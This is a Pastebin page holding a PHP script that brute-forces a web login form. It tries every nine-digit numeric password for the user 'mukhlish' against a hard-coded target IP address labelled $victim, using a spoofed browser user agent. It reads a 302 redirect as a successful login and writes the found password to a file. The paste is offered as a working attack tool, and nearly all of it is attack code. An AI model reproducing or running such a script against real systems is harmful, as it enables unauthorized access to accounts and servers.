Advertisement
mukhlish

Untitled

Aug 17th, 2018
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.54 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(0);
  4. date_default_timezone_set("Asia/Jakarta");
  5. $victim = "http://178.128.69.182/cre.php";
  6. $much = "999999999";
  7. $awal = microtime(true);
  8. for ($i=0; $i < $much; $i++) {
  9. $password = str_pad($i, 9, '0', STR_PAD_LEFT);
  10.  
  11. curl($victim,$password,$awal);
  12. }
  13.  
  14.  
  15. function curl($victim,$password,$awal)
  16. {
  17. $post = "username=mukhlish&password=".$password."&submit=login";
  18. $curl = curl_init();
  19. curl_setopt_array($curl, array(
  20. CURLOPT_URL => $victim,
  21. CURLOPT_RETURNTRANSFER => 1,
  22. CURLOPT_POST => true,
  23. CURLOPT_POSTFIELDS => $post,
  24. CURLOPT_HEADER =>1,
  25. CURLOPT_NOBODY =>0,
  26. CURLOPT_FOLLOWLOCATION =>1,
  27. CURLOPT_AUTOREFERER =>1,
  28. CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
  29. CURLOPT_COOKIESESSION => true,
  30. ));
  31.  
  32. $respon = curl_exec($curl);
  33.  
  34. //print $respon;
  35.  
  36. $akhir = microtime(true);
  37. $lama = substr(($akhir - $_SERVER["REQUEST_TIME_FLOAT"]),0,4);
  38.  
  39.  
  40. if(preg_match("#HTTP/1.1 302#", $respon))
  41. {
  42.  
  43. print "{$password} berhasil bos - {$lama}s";
  44. $myfile = fopen("password.txt", "a+") or die("Unable to open file!");
  45. fwrite($myfile, $password);
  46. fclose($myfile);
  47. Die("Found");
  48. }else
  49. {
  50. print "gagal $password - {$lama}s\r\n";
  51.  
  52. }
  53. }
  54.  
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement